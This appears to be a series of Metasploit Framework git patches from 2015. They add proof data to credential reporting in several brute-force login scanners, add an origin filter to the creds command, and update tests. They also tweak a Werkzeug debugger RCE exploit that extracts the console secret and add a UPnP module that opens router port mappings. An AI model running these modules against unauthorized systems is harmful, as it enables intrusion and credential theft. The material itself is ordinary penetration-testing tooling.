diff --git a/modules/auxiliary/scanner/http/sap_businessobjects_user_brute.rb b/modules/auxiliary/scanner/http/sap_businessobjects_user_brute.rb index 5621d690b2..f83d2b5033 100644 --- a/modules/auxiliary/scanner/http/sap_businessobjects_user_brute.rb +++ b/modules/auxiliary/scanner/http/sap_businessobjects_user_brute.rb @@ -50,6 +50,30 @@ class Metasploit3 < Msf::Auxiliary } end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + def enum_user(user='administrator', pass='pass') vprint_status("#{rhost}:#{rport} - Trying username:'#{user}' password:'#{pass}'") success = false @@ -89,14 +113,12 @@ class Metasploit3 < Msf::Auxiliary if success print_good("#{rhost}:#{rport} - Successful login '#{user}' : '#{pass}'") - report_auth_info( - :host => rhost, - :proto => 'tcp', - :sname => 'sap-businessobjects', - :user => user, - :pass => pass, - :target_host => rhost, - :target_port => rport + report_cred( + ip: rhost, + port: rport, + service_name: 'sap-businessobjects', + user: user, + proof: res.body ) return :next_user else diff --git a/modules/auxiliary/scanner/http/splunk_web_login.rb b/modules/auxiliary/scanner/http/splunk_web_login.rb index 9f7e9a59ab..35833d09af 100644 --- a/modules/auxiliary/scanner/http/splunk_web_login.rb +++ b/modules/auxiliary/scanner/http/splunk_web_login.rb @@ -148,6 +148,7 @@ class Metasploit3 < Msf::Auxiliary last_attempted_at: DateTime.now, core: create_credential(credential_data), status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] }.merge(service_data) create_credential_login(login_data) @@ -190,7 +191,7 @@ class Metasploit3 < Msf::Auxiliary end print_good("SUCCESSFUL LOGIN. '#{user}' : '#{pass}'") - report_cred(ip: datastore['RHOST'], port: datastore['RPORT'], user:user, password: pass) + report_cred(ip: datastore['RHOST'], port: datastore['RPORT'], user:user, password: pass, proof: res.code.to_s) return :next_user diff --git a/modules/auxiliary/scanner/http/vcms_login.rb b/modules/auxiliary/scanner/http/vcms_login.rb index 03fa58ab3f..5c14785e1e 100644 --- a/modules/auxiliary/scanner/http/vcms_login.rb +++ b/modules/auxiliary/scanner/http/vcms_login.rb @@ -71,6 +71,7 @@ class Metasploit3 < Msf::Auxiliary last_attempted_at: DateTime.now, core: create_credential(credential_data), status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] }.merge(service_data) create_credential_login(login_data) @@ -119,7 +120,7 @@ class Metasploit3 < Msf::Auxiliary vprint_status("#{peer} - Username found: #{user}") when /\<a href="process\.php\?logout=1"\>/ print_good("#{peer} - Successful login: \"#{user}:#{pass}\"") - report_cred(ip: rhost, port: rport, user:user, password: pass) + report_cred(ip: rhost, port: rport, user:user, password: pass, proof: res.body) return :next_user end end diff --git a/modules/auxiliary/scanner/misc/cctv_dvr_login.rb b/modules/auxiliary/scanner/misc/cctv_dvr_login.rb index b08d53cd3f..2a1337914a 100644 --- a/modules/auxiliary/scanner/misc/cctv_dvr_login.rb +++ b/modules/auxiliary/scanner/misc/cctv_dvr_login.rb @@ -151,6 +151,7 @@ class Metasploit3 < Msf::Auxiliary last_attempted_at: DateTime.now, core: create_credential(credential_data), status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] }.merge(service_data) create_credential_login(login_data) @@ -205,7 +206,7 @@ class Metasploit3 < Msf::Auxiliary # Report valid credentials under the CCTV DVR admin port (5920/TCP). # This is a proprietary protocol. - report_cred(ip: rhost, port: rport, user:user, password: pass) + report_cred(ip: rhost, port: rport, user:user, password: pass, proof: res.inspect) @valid_hosts << rhost return :next_user diff --git a/modules/auxiliary/scanner/telnet/telnet_ruggedcom.rb b/modules/auxiliary/scanner/telnet/telnet_ruggedcom.rb index 210a41b647..a23e6058ef 100644 --- a/modules/auxiliary/scanner/telnet/telnet_ruggedcom.rb +++ b/modules/auxiliary/scanner/telnet/telnet_ruggedcom.rb @@ -79,6 +79,7 @@ class Metasploit3 < Msf::Auxiliary last_attempted_at: DateTime.now, core: create_credential(credential_data), status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] }.merge(service_data) create_credential_login(login_data) @@ -95,7 +96,7 @@ class Metasploit3 < Msf::Auxiliary mac = banner_santized.match(/((?:[0-9a-f]{2}[-]){5}[0-9a-f]{2})/i)[0] password = mac_to_password(mac) info = get_info(banner_santized) - report_cred(ip: rhost, port: rport, user:'factory', password: password) + report_cred(ip: rhost, port: rport, user:'factory', password: password, proof: banner_santized) break else print_status("It doesn't seem to be a RuggedCom service.") diff --git a/modules/auxiliary/scanner/vmware/vmware_http_login.rb b/modules/auxiliary/scanner/vmware/vmware_http_login.rb index 214dc66eed..505581a4de 100644 --- a/modules/auxiliary/scanner/vmware/vmware_http_login.rb +++ b/modules/auxiliary/scanner/vmware/vmware_http_login.rb @@ -58,6 +58,7 @@ class Metasploit3 < Msf::Auxiliary last_attempted_at: DateTime.now, core: create_credential(credential_data), status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] }.merge(service_data) create_credential_login(login_data) @@ -70,7 +71,7 @@ class Metasploit3 < Msf::Auxiliary case result when :success print_good "#{rhost}:#{rport} - Successful Login! (#{user}:#{pass})" - report_cred(ip: rhost, port: rport, user: user, password: pass) + report_cred(ip: rhost, port: rport, user: user, password: pass, proof: result) return if datastore['STOP_ON_SUCCESS'] when :fail print_error "#{rhost}:#{rport} - Login Failure (#{user}:#{pass})" diff --git a/modules/auxiliary/voip/asterisk_login.rb b/modules/auxiliary/voip/asterisk_login.rb index 147a417d1a..a05995214d 100644 --- a/modules/auxiliary/voip/asterisk_login.rb +++ b/modules/auxiliary/voip/asterisk_login.rb @@ -72,6 +72,7 @@ class Metasploit3 < Msf::Auxiliary last_attempted_at: DateTime.now, core: create_credential(credential_data), status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] }.merge(service_data) create_credential_login(login_data) @@ -117,7 +118,7 @@ class Metasploit3 < Msf::Auxiliary send_manager(cmd) if /Response: Success/.match(@result) print_good("User: \"#{user}\" using pass: \"#{pass}\" - can login on #{rhost}:#{rport}!") - report_cred(ip: rhost, port: rport, user: user, password: pass) + report_cred(ip: rhost, port: rport, user: user, password: pass, proof: @result) disconnect return :next_user else diff --git a/test/modules/auxiliary/test/report_auth_info.rb b/test/modules/auxiliary/test/report_auth_info.rb index 0a43898e17..af7ffcc6b6 100644 --- a/test/modules/auxiliary/test/report_auth_info.rb +++ b/test/modules/auxiliary/test/report_auth_info.rb @@ -26,102 +26,102 @@ class Metasploit3 < Msf::Auxiliary def test_novell_mdm_creds mod = framework.auxiliary.create('scanner/http/novell_mdm_creds') - mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: FAKE_USER, password: FAKE_PASS) + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) end def test_joomla_bruteforce_login mod = framework.auxiliary.create('scanner/http/joomla_bruteforce_login') - mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: FAKE_USER, password: FAKE_PASS) + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) end def test_infovista_enum mod = framework.auxiliary.create('scanner/http/infovista_enum') - mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: FAKE_USER, password: FAKE_PASS) + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) end def test_etherpad_duo_login mod = framework.auxiliary.create('scanner/http/etherpad_duo_login') - mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: FAKE_USER, password: FAKE_PASS) + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) end def test_ektron_cms400net mod = framework.auxiliary.create('scanner/http/ektron_cms400net') - mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: FAKE_USER, password: FAKE_PASS) + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) end def test_drupal_views_user_enum mod = framework.auxiliary.create('scanner/http/drupal_views_user_enum') - mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: FAKE_USER) + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: FAKE_USER, proof: FAKE_PROOF) end def test_dolibarr_login mod = framework.auxiliary.create('scanner/http/dolibarr_login') - mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: FAKE_USER, password: FAKE_PASS) + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) end def test_dlink_dir_session_cgi_http_login mod = framework.auxiliary.create('scanner/http/dlink_dir_session_cgi_http_login') - mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: FAKE_USER, password: FAKE_PASS) + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) end def test_dlink_dir_615h_http_login mod = framework.auxiliary.create('scanner/http/dlink_dir_615h_http_login') - mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: FAKE_USER, password: FAKE_PASS) + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) end def test_dlink_dir_300_615_http_login mod = framework.auxiliary.create('scanner/http/dlink_dir_300_615_http_login') - mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: FAKE_USER, password: FAKE_PASS) + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) end def test_cisco_ssl_vpn mod = framework.auxiliary.create('scanner/http/cisco_ssl_vpn') - mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: FAKE_USER, password: FAKE_PASS) + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) end def test_cisco_ironport_enum mod = framework.auxiliary.create('scanner/http/cisco_ironport_enum') - mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: FAKE_USER, password: FAKE_PASS) + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) end def test_cisco_asa_asdm mod = framework.auxiliary.create('scanner/http/cisco_asa_asdm') - mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: FAKE_USER, password: FAKE_PASS) + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) end def test_axis_local_file_include mod = framework.auxiliary.create('scanner/http/axis_local_file_include') - mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: FAKE_USER, password: FAKE_PASS) + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) end def test_splunk_web_login mod = framework.auxiliary.create('scanner/http/splunk_web_login') - mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: FAKE_USER, password: FAKE_PASS) + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) end def test_cctv_dvr_login mod = framework.auxiliary.create('scanner/misc/cctv_dvr_login') - mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: FAKE_USER, password: FAKE_PASS) + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) end def test_http_vcms_login mod = framework.auxiliary.create('scanner/http/vcms_login') - mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: FAKE_USER, password: FAKE_PASS) + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) end def test_telnet_ruggedcom mod = framework.auxiliary.create('scanner/telnet/telnet_ruggedcom') - mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: 'factory', password: FAKE_PASS) + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: 'factory', password: FAKE_PASS, proof: FAKE_PROOF) end def test_vmware_http_login mod = framework.auxiliary.create('scanner/vmware/vmware_http_login') - mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: FAKE_USER, password: FAKE_PASS) + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) end def test_asterisk_login mod = framework.auxiliary.create('voip/asterisk_login') - mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: FAKE_USER, password: FAKE_PASS) + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) end def test_hp_imc_som_create_account @@ -299,6 +299,31 @@ class Metasploit3 < Msf::Auxiliary mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'sap-businessobjects', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) end + def test_sap_businessobjects_user_brute + mod = framework.auxiliary.create('scanner/http/sap_businessobjects_user_brute') + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'sap-businessobjects', user: FAKE_USER, proof: FAKE_PROOF) + end + + def test_rfcode_reader_enum + mod = framework.auxiliary.create('scanner/http/rfcode_reader_enum') + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'RFCode Reader', user: FAKE_USER, password:FAKE_PASS, proof: FAKE_PROOF) + end + + def test_radware_appdictor_enum + mod = framework.auxiliary.create('scanner/http/radware_appdirector_enum') + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'Radware AppDirector', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) + end + + def test_pocketpad_login + mod = framework.auxiliary.create('scanner/http/pocketpad_login') + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'PocketPAD Portal', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) + end + + def test_oracle_ilom_login + mod = framework.auxiliary.create('scanner/http/oracle_ilom_login') + mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'Oracle Integrated Lights Out Manager Portal', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF) + end + def run self.methods.each do |m| next if m.to_s !~ /^test_.+/ From 75d59be87d9e1967b62304fbb939b0047bebd118 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Fri, 24 Jul 2015 14:04:23 -0500 Subject: [PATCH 0193/2172] Resolve #5753, Support Origin for the creds command Resolve #5753. Add an Origin column and allow the user to search by origin. --- lib/msf/ui/console/command_dispatcher/db.rb | 32 ++++++++++++++++----- 1 file changed, 25 insertions(+), 7 deletions(-) diff --git a/lib/msf/ui/console/command_dispatcher/db.rb b/lib/msf/ui/console/command_dispatcher/db.rb index cb372a609d..30f3e2ffcc 100644 --- a/lib/msf/ui/console/command_dispatcher/db.rb +++ b/lib/msf/ui/console/command_dispatcher/db.rb @@ -837,6 +837,7 @@ class Db print_line " -s <svc names> List creds matching comma-separated service names" print_line " -u,--user <regex> List users that match this regex" print_line " -t,--type <type> List creds that match the following types: #{allowed_cred_types.join(',')}" + print_line " -O,--origins List creds that match these origins" print_line " -R,--rhosts Set RHOSTS from the results of the search" print_line @@ -925,15 +926,16 @@ class Db end def creds_search(*args) - host_ranges = [] - port_ranges = [] - svcs = [] - rhosts = [] + host_ranges = [] + origin_ranges = [] + port_ranges = [] + svcs = [] + rhosts = [] set_rhosts = false #cred_table_columns = [ 'host', 'port', 'user', 'pass', 'type', 'proof', 'active?' ] - cred_table_columns = [ 'host', 'service', 'public', 'private', 'realm', 'private_type' ] + cred_table_columns = [ 'host', 'origin' , 'service', 'public', 'private', 'realm', 'private_type' ] user = nil delete_count = 0 @@ -979,6 +981,9 @@ class Db mode = :delete when '-R', '--rhosts' set_rhosts = true + when '-O', '--origins' + hosts = args.shift + arg_host_range(hosts, origin_ranges) else # Anything that wasn't an option is a host to search for unless (arg_host_range(arg, host_ranges)) @@ -1058,11 +1063,23 @@ class Db next end + origin = '' + if core.origin.kind_of?(Metasploit::Credential::Origin::Service) + origin = core.origin.service.host.address + elsif core.origin.kind_of?(Metasploit::Credential::Origin::Session) + origin = core.origin.session.host.address + end + + if !origin.empty? && origin_ranges.present? && !origin_ranges.any? {|range| range.include?(origin) } + next + end + if core.logins.empty? tbl << [ "", # host - "", # port + "", # cred + "", # service core.public, core.private, core.realm, @@ -1070,7 +1087,6 @@ class Db ] else core.logins.each do |login| - # If none of this Core's associated Logins is for a host within # the user-supplied RangeWalker, then we don't have any reason to # print it out. However, we treat the absence of ranges as meaning @@ -1078,7 +1094,9 @@ class Db if host_ranges.present? && !host_ranges.any? { |range| range.include?(login.service.host.address) } next end + row = [ login.service.host.address ] + row << origin rhosts << login.service.host.address if login.service.name.present? row << "#{login.service.port}/#{login.service.proto} (#{login.service.name})" From 25dde141d6d42b9d200920cc185790f85024f517 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Fri, 24 Jul 2015 15:24:18 -0500 Subject: [PATCH 0194/2172] fix rspec --- .../ui/console/command_dispatcher/db_spec.rb | 76 +++++++++---------- 1 file changed, 37 insertions(+), 39 deletions(-) diff --git a/spec/lib/msf/ui/console/command_dispatcher/db_spec.rb b/spec/lib/msf/ui/console/command_dispatcher/db_spec.rb index 28cd600b02..ef35238716 100644 --- a/spec/lib/msf/ui/console/command_dispatcher/db_spec.rb +++ b/spec/lib/msf/ui/console/command_dispatcher/db_spec.rb @@ -107,65 +107,63 @@ describe Msf::Ui::Console::CommandDispatcher::Db do context "when the credential is present" do it "should show a user that matches the given expression" do db.cmd_creds("-u", username) - @output.should =~ [ + expect(@output).to eq([ "Credentials", "===========", "", - "host service public private realm private_type", - "---- ------- ------ ------- ----- ------------", - " thisuser thispass Password", - ] + "host origin service public private realm private_type", + "---- ------ ------- ------ ------- ----- ------------", + " thisuser thispass Password" + ]) end it 'should match a regular expression' do subject.cmd_creds("-u", "^#{username}$") - @output.should =~ - [ + expect(@output).to eq([ "Credentials", "===========", "", - "host service public private realm private_type", - "---- ------- ------ ------- ----- ------------", - " thisuser thispass Password", - ] + "host origin service public private realm private_type", + "---- ------ ------- ------ ------- ----- ------------", + " thisuser thispass Password" + ]) end it 'should return nothing for a non-matching regular expression' do subject.cmd_creds("-u", "^#{nomatch_username}$") - @output.should =~ - [ + expect(@output).to eq([ "Credentials", "===========", "", - "host service public private realm private_type", - "---- ------- ------ ------- ----- ------------", - ] + "host origin service public private realm private_type", + "---- ------ ------- ------ ------- ----- ------------" + ]) end context "and when the username is blank" do it "should show a user that matches the given expression" do db.cmd_creds("-u", blank_username) - @output.should =~ [ + expect(@output).to eq([ "Credentials", "===========", "", - "host service public private realm private_type", - "---- ------- ------ ------- ----- ------------", - " nonblank_pass Password", - ] + "host origin service public private realm private_type", + "---- ------ ------- ------ ------- ----- ------------", + " nonblank_pass Password" + ]) end end context "and when the password is blank" do it "should show a user that matches the given expression" do db.cmd_creds("-P", blank_password) - @output.should =~ [ + expect(@output).to eq([ "Credentials", "===========", "", - "host service public private realm private_type", - "---- ------- ------ ------- ----- ------------", - " nonblank_user Password", - ] + "host origin service public private realm private_type", + "---- ------ ------- ------ ------- ----- ------------", + " nonblank_user Password" + ]) end end end @@ -174,25 +172,25 @@ describe Msf::Ui::Console::CommandDispatcher::Db do context "due to a nonmatching username" do it "should return a blank set" do db.cmd_creds("-u", nomatch_username) - @output.should =~ [ + expect(@output).to eq([ "Credentials", "===========", "", - "host service public private realm private_type", - "---- ------- ------ ------- ----- ------------", - ] + "host origin service public private realm private_type", + "---- ------ ------- ------ ------- ----- ------------" + ]) end end context "due to a nonmatching password" do it "should return a blank set" do db.cmd_creds("-P", nomatch_password) - @output.should =~ [ + expect(@output).to eq([ "Credentials", "===========", "", - "host service public private realm private_type", - "---- ------- ------ ------- ----- ------------", - ] + "host origin service public private realm private_type", + "---- ------ ------- ------ ------- ----- ------------" + ]) end end end @@ -257,14 +255,14 @@ describe Msf::Ui::Console::CommandDispatcher::Db do it "should show just the password" do db.cmd_creds("-t", "password") # Table matching really sucks - @output.should =~ [ + expect(@output).to eq([ "Credentials", "===========", "", - "host service public private realm private_type", - "---- ------- ------ ------- ----- ------------", - " thisuser thispass Password" - ] + "host origin service public private realm private_type", + "---- ------ ------- ------ ------- ----- ------------", + " thisuser thispass Password" + ]) end end From 456124160908c638d22684f6becc0394187e6a04 Mon Sep 17 00:00:00 2001 From: h00die <mike@shorebreaksecurity.com> Date: Fri, 24 Jul 2015 20:34:40 -0400 Subject: [PATCH 0195/2172] updates per @jvazquez-r7 comments --- modules/exploits/multi/http/werkzeug_debug_rce.rb | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/modules/exploits/multi/http/werkzeug_debug_rce.rb b/modules/exploits/multi/http/werkzeug_debug_rce.rb index 0c5a6d662c..cae53152f9 100644 --- a/modules/exploits/multi/http/werkzeug_debug_rce.rb +++ b/modules/exploits/multi/http/werkzeug_debug_rce.rb @@ -25,7 +25,7 @@ class Metasploit4 < Msf::Exploit::Remote 'Author' => 'h00die <mike[at]shorebreaksecurity.com>', 'References' => [ - [ 'Website', 'http://werkzeug.pocoo.org/docs/0.10/debug/#enabling-the-debugger'] + [ 'URL', 'http://werkzeug.pocoo.org/docs/0.10/debug/#enabling-the-debugger'] ], 'License' => MSF_LICENSE, 'Platform' => ['python'], @@ -48,7 +48,7 @@ class Metasploit4 < Msf::Exploit::Remote }) #https://github.com/mitsuhiko/werkzeug/blob/cc8c8396ecdbc25bedc1cfdddfe8df2387b72ae3/werkzeug/debug/tbtools.py#L67 if res and res.body =~ /Werkzeug powered traceback interpreter/ - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Appears end return Exploit::CheckCode::Safe end @@ -59,8 +59,8 @@ class Metasploit4 < Msf::Exploit::Remote 'method' => 'GET', 'uri' => normalize_uri(datastore['TARGETURI']) }) - if res and res.body =~ /SECRET = "([a-zA-Z0-9]{20})";/ - secret = res.body.match(/SECRET = "([a-zA-Z0-9]{20})";/).captures[0] + if res && res.body && res.body.to_s =~ /SECRET = "([a-zA-Z0-9]{20})";/ + secret = $1 vprint_status("Secret Code: #{secret}") res = send_request_cgi({ 'method' => 'GET', From fba81fc539f1b93ca02d197aedda86684817a3dd Mon Sep 17 00:00:00 2001 From: Fabien <fabien@anbu-pentest.com> Date: Sun, 26 Jul 2015 20:59:04 +0200 Subject: [PATCH 0196/2172] Create soap_addportmapping.rb --- modules/auxiliary/upnp/soap_addportmapping.rb | 69 +++++++++++++++++++ 1 file changed, 69 insertions(+) create mode 100644 modules/auxiliary/upnp/soap_addportmapping.rb diff --git a/modules/auxiliary/upnp/soap_addportmapping.rb b/modules/auxiliary/upnp/soap_addportmapping.rb new file mode 100644 index 0000000000..80dddbe613 --- /dev/null +++ b/modules/auxiliary/upnp/soap_addportmapping.rb @@ -0,0 +1,69 @@ +## +# encoding: utf-8 +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +class Metasploit3 < Msf::Auxiliary + include Msf::Exploit::Remote::Tcp + + def initialize + super( + 'Name' => 'UPnP AddPortMapping', + 'Version' => '$Revision: 1 $', + 'Description' => 'UPnP AddPortMapping SOAP request', + 'Author' => 'St0rn <fabien@anbu-pentest.com>', + 'License' => MSF_LICENSE + ) + register_options( + [ + OptString.new('CTRL_URL', [ true, 'UPnP Control URL']), + OptString.new('INTERNAL_CLIENT', [ true, 'New Internal Client']), + OptInt.new('INTERNAL_PORT', [ true, 'New Internal Port']), + OptInt.new('EXTERNAL_PORT', [ true, 'New External Port']) + ], self.class) + end + + def run() + ctrlurl = #{datastore['CTRL_URL']} + soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping" + + content = "<?xml version=\"1.0\"?>" + content << "<SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">" + content << "<SOAP-ENV:Body>" + content << "<m:AddPortMapping xmlns:m=\"urn:schemas-upnp-org:service:WANIPConnection:1\">" + content << "<NewPortMappingDescription>New Port Mapping</NewPortMappingDescription>" + content << "<NewLeaseDuration>3600</NewLeaseDuration>" + content << "<NewInternalClient>#{datastore['INTERNAL_CLIENT']}</NewInternalClient>" + content << "<NewEnabled>1</NewEnabled>" + content << "<NewExternalPort>#{datastore['EXTERNAL_PORT']}</NewExternalPort>" + content << "<NewRemoteHost></NewRemoteHost>" + content << "<NewProtocol>TCP</NewProtocol>" + content << "<NewInternalPort>#{datastore['INTERNAL_PORT']}</NewInternalPort>" + content << "</m:AddPortMapping>" + content << "</SOAP-ENV:Body>" + content << "</SOAP-ENV:Envelope>" + + contentlen = content.length + + header = "POST http://#{rhost}:#{rport}/#{ctrlurl} HTTP/1.0\r\n" + header << "Content-Type: text/xml;charset=\"utf-8\"\r\n" + header << "SOAPAction: #{soapaction}\n\r" + header << "User-Agent: SOAP AddPortMapping Metasploit Module\r\n" + header << "Host: #{rhost}:#{rport}\r\n" + header << "Content-Length: #{contentlen}\r\n" + header << "\r\n" + header << content + + print_status("Sending SOAP Request") + connect() + sock.puts(header) + resp=sock.recv(1024) + if resp.include? "200 OK" + print_good("PAT added successfully") + else + print_error("Fail") + end + end +end From 8dbd51ae3877dfc8f90a0b157c556c5a7f0af144 Mon Sep 17 00:00:00 2001 From: Fabien <fabien@anbu-pentest.com> Date: Sun, 26 Jul 2015 20:59:43 +0200 Subject: [PATCH 0197/2172] Update soap_addportmapping.rb --- modules/auxiliary/upnp/soap_addportmapping.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/upnp/soap_addportmapping.rb b/modules/auxiliary/upnp/soap_addportmapping.rb index 80dddbe613..be15d31aaf 100644 --- a/modules/auxiliary/upnp/soap_addportmapping.rb +++ b/modules/auxiliary/upnp/soap_addportmapping.rb @@ -6,7 +6,7 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary - include Msf::Exploit::Remote::Tcp + include Msf::Exploit::Remote::Tcp def initialize super( From 1210183930774a65c0a5ab4cdb34061df8959a69 Mon Sep 17 00:00:00 2001 From: Fabien <fabien@anbu-pentest.com> Date: Sun, 26 Jul 2015 21:41:47 +0200 Subject: [PATCH 0198/2172] Update soap_addportmapping.rb --- modules/auxiliary/upnp/soap_addportmapping.rb | 20 +++++++++---------- 1 file changed, 10 insertions(+), 10 deletions(-) diff --git a/modules/auxiliary/upnp/soap_addportmapping.rb b/modules/auxiliary/upnp/soap_addportmapping.rb index be15d31aaf..3dbac76346 100644 --- a/modules/auxiliary/upnp/soap_addportmapping.rb +++ b/modules/auxiliary/upnp/soap_addportmapping.rb @@ -32,16 +32,16 @@ class Metasploit3 < Msf::Auxiliary content = "<?xml version=\"1.0\"?>" content << "<SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">" content << "<SOAP-ENV:Body>" - content << "<m:AddPortMapping xmlns:m=\"urn:schemas-upnp-org:service:WANIPConnection:1\">" - content << "<NewPortMappingDescription>New Port Mapping</NewPortMappingDescription>" - content << "<NewLeaseDuration>3600</NewLeaseDuration>" - content << "<NewInternalClient>#{datastore['INTERNAL_CLIENT']}</NewInternalClient>" - content << "<NewEnabled>1</NewEnabled>" - content << "<NewExternalPort>#{datastore['EXTERNAL_PORT']}</NewExternalPort>" - content << "<NewRemoteHost></NewRemoteHost>" - content << "<NewProtocol>TCP</NewProtocol>" - content << "<NewInternalPort>#{datastore['INTERNAL_PORT']}</NewInternalPort>" - content << "</m:AddPortMapping>" + content << "<m:AddPortMapping xmlns:m=\"urn:schemas-upnp-org:service:WANIPConnection:1\">" + content << "<NewPortMappingDescription>New Port Mapping</NewPortMappingDescription>" + content << "<NewLeaseDuration>3600</NewLeaseDuration>" + content << "<NewInternalClient>#{datastore['INTERNAL_CLIENT']}</NewInternalClient>" + content << "<NewEnabled>1</NewEnabled>" + content << "<NewExternalPort>#{datastore['EXTERNAL_PORT']}</NewExternalPort>" + content << "<NewRemoteHost></NewRemoteHost>" + content << "<NewProtocol>TCP</NewProtocol>" + content << "<NewInternalPort>#{datastore['INTERNAL_PORT']}</NewInternalPort>" + content << "</m:AddPortMapping>" content << "</SOAP-ENV:Body>" content << "</SOAP-ENV:Envelope>" From 3fd18e484415e71d55f33b15c75a36202fa75a21 Mon Sep 17 00:00:00 2001 From: Fabien <fabien@anbu-pentest.com> Date: Sun, 26 Jul 2015 21:57:49 +0200 Subject: [PATCH 0199/2172] Update soap_addportmapping.rb --- modules/auxiliary/upnp/soap_addportmapping.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/upnp/soap_addportmapping.rb b/modules/auxiliary/upnp/soap_addportmapping.rb index 3dbac76346..958a5b9d16 100644 --- a/modules/auxiliary/upnp/soap_addportmapping.rb +++ b/modules/auxiliary/upnp/soap_addportmapping.rb @@ -26,7 +26,7 @@ class Metasploit3 < 